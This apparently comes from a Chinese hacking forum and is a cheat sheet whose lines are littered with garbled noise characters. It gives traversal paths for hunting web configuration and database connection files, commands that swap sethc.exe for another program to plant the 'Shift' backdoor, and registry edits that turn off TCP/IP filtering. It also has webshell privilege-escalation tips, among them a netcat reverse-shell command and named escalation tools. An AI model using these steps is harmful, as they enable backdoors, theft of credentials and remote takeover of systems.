) L8 |4 s+ \, R* `& m- |c:\Program Files\tencent\QQGAME\readme.txt
C:\Program Files\StormII\Storm.exe
1 {4 J* U, L' T
3.网站相对路径:

5 v  k4 p9 o' ], q" N; T/config.php
* s- U* R  }4 L& O$ }  x, g../../config.php
  F; L* T9 U8 H; W  H& ?  H../config.php
../../../config.php
/config.inc.php
./config.inc.php
8 N0 i% A$ n3 h3 M+ }../../config.inc.php
../config.inc.php
../../../config.inc.php
2 G6 ?8 V! B7 z% _9 [. x, E" n/conn.php
5 a5 O: ?+ e  z+ R" c5 M./conn.php
4 Q* J( G( |  M* R( K../../conn.php
8 p  ~* m- J9 p$ t* K! w; o../conn.php
../../../conn.php
4 S3 S( D" ]+ y# U9 }1 `/conn.asp
; o7 `8 L( }! F./conn.asp
../../conn.asp
../conn.asp
../../../conn.asp
/config.inc.php
./config.inc.php
../../config.inc.php
8 h+ F1 k; h6 u../config.inc.php
( p7 e! K% ?1 S7 F$ ], N3 w5 [../../../config.inc.php
/config/config.php
) J7 r8 U) f1 g$ a2 P4 Q, Z../../config/config.php
../config/config.php
3 D. j/ N7 V  l3 V/ a8 L../../../config/config.php
/config/config.inc.php
./config/config.inc.php
+ n2 H# H2 ]! W  k) y../../config/config.inc.php
../config/config.inc.php
4 l) Q. ]( O7 S5 s$ O../../../config/config.inc.php
/config/conn.php
./config/conn.php
( {9 @6 c& {7 ]$ L../../config/conn.php
0 @2 d! t* }4 u) ^3 R../config/conn.php
! t/ F3 Q& G  u! F# Z  X8 D$ f../../../config/conn.php
" L9 b8 ~8 O/ B% Z3 Q( y" z: s" F/config/conn.asp
./config/conn.asp
../../config/conn.asp
1 V3 |( t) J% n. O9 L4 F../config/conn.asp
../../../config/conn.asp
+ ~: C3 |" `, z, j4 K/config/config.inc.php
./config/config.inc.php
../../config/config.inc.php
$ Z9 S$ r0 b4 {6 p" W, N../config/config.inc.php
../../../config/config.inc.php
/data/config.php
../../data/config.php
, h& F/ X3 j) t  m1 j& W../data/config.php
../../../data/config.php
/data/config.inc.php
7 ~) t  F0 z; x6 d./data/config.inc.php
8 S  T/ y( b3 r../../data/config.inc.php
  Y/ q2 O: z9 P( A' U: H3 y../data/config.inc.php
* _' W" y4 s, U/ Y8 z+ r* \0 `../../../data/config.inc.php
/data/conn.php
$ g7 e* f7 R7 u./data/conn.php
../../data/conn.php
../data/conn.php
5 v) m% ^4 E) r0 o& e$ r$ p+ v../../../data/conn.php
/data/conn.asp
./data/conn.asp
../../data/conn.asp
( D; \: m  q9 `& c0 g../data/conn.asp
../../../data/conn.asp
/data/config.inc.php
, R- A7 G8 \2 p; |% v+ v; q./data/config.inc.php
5 u. m' ]/ A: H../../data/config.inc.php
../data/config.inc.php
../../../data/config.inc.php
* ?7 ~9 L( J# |9 D' k/include/config.php
# @+ A6 L; x1 N../../include/config.php
../include/config.php
) X& v5 |+ _0 f2 x. Z8 F" @( f8 a../../../include/config.php
/include/config.inc.php
9 {( g( A  v1 M  S! v0 F& G./include/config.inc.php
../../include/config.inc.php
" z0 G# J/ R2 p5 Q; _../include/config.inc.php
  l6 ]3 S; T- }4 g; H: A3 F../../../include/config.inc.php
/include/conn.php
./include/conn.php
9 w* ^6 U' \4 h$ z8 p6 E../../include/conn.php
: `9 K8 o3 g+ x3 C; v6 l5 N: S../include/conn.php
2 W' Y) S* U/ I# r. a" J) F../../../include/conn.php
- g- g9 e1 x5 [, i+ [) X( Z. o/include/conn.asp
, h& x1 Q% Y) w./include/conn.asp
../../include/conn.asp
../include/conn.asp
../../../include/conn.asp
& y0 u: g1 _2 }; S8 O' p+ p/include/config.inc.php
1 O# |& q  P" {) u# v0 {1 Z./include/config.inc.php
% {6 M  ~$ u3 Y. O6 V../../include/config.inc.php
& J# h6 J& g0 s; D5 Q1 D, h../include/config.inc.php
../../../include/config.inc.php
/inc/config.php
/ Z1 {3 R6 X5 C# {: e" p, O! R../../inc/config.php
( C$ H" L( O+ m& m' f../inc/config.php
../../../inc/config.php
4 D7 u7 j& I  C0 J/inc/config.inc.php
./inc/config.inc.php
" h4 H; i: c- v- T) n../../inc/config.inc.php
../inc/config.inc.php
/ O' e1 K2 [# J$ [$ {, h4 w" j../../../inc/config.inc.php
  y# k2 T/ Q7 T% F2 R8 g. ~8 a/inc/conn.php
./inc/conn.php
! K2 R2 o; u, `5 P+ j../../inc/conn.php
../inc/conn.php
../../../inc/conn.php
  J% \* u; Q4 _2 v1 Z9 `4 V. e' d* Z$ I/inc/conn.asp
./inc/conn.asp
../../inc/conn.asp
: H6 Q, Q6 C' Z) Y- L: D../inc/conn.asp
../../../inc/conn.asp
/inc/config.inc.php
./inc/config.inc.php
9 f6 P* S0 Q5 X1 c0 c. @/ D1 P* p# T../../inc/config.inc.php
5 i  u8 A6 r; o) O../inc/config.inc.php
0 @  m( m& A& e9 I3 M$ T3 d../../../inc/config.inc.php
/index.php
./index.php
../../index.php
../index.php
../../../index.php
$ ^: m2 @% G6 i5 m! U! h/index.asp
./index.asp
../../index.asp
../index.asp
# |0 D) `1 N' O0 ^- z  C( x& @../../../index.asp
# f/ r% t- s: {7 b0 b替换SHIFT后门
　attrib c:\windows\system32\sethc.exe -h -r -s

3 a1 H5 n& G! ^　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s
9 U. M; G+ o6 N9 b1 U
　　del c:\windows\system32\sethc.exe

' _  b- j' c8 x, \4 ]　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
% q, c+ T) {+ z6 I: {! m% _
. A8 C8 G2 Y# K! ]0 d% }* A　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
5 k3 Q4 z/ f# f$ I2 ?% z
　　attrib c:\windows\system32\sethc.exe +h +r +s
6 a2 f: n9 ]1 g& s* D! K2 c0 z
　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
去除TCPIP筛选
TCP/IP筛选在注册表里有三处，分别是：
* e8 Z& u7 ]& d# O9 iHKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
# }7 s- g" T8 \; e9 PHKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
: h, V, N7 v$ R9 g; i7 l5 _; e8 eHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

9 Y! @/ V, P1 T5 I分别用
regedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
regedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
! a! r8 k6 R- y! M' C6 O3 Gregedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
命令来导出注册表项
, S+ W% ]0 q; {$ W
然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000

再将以上三个文件分别用
% z0 i# U7 Z; e3 b1 U- L: L$ {regedit -s D:\a.reg
, A( x8 C* L8 H! c8 ]8 d* kregedit -s D:\b.reg
regedit -s D:\c.reg
导入注册表即可

webshell提权小技巧
9 g2 }. Z7 t( Z/ i; Zcmd路径:
* V8 Z! E* c1 n) k1 Pc:\windows\temp\cmd.exe
& w( H) y0 q0 S5 [nc也在同目录下
( G+ F: p/ p" p  A4 P例如反弹cmdshell：
2 }, ~6 h1 H6 _+ ~8 T# C"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
4 s" T7 V/ O/ I2 u. o. q: ^  s- y+ r通常都不会成功。

而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
却能成功。。
$ C4 v3 w+ G- _0 g) |, O这个不是重点
" _8 [9 s' [( ]& c% U% c2 G我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功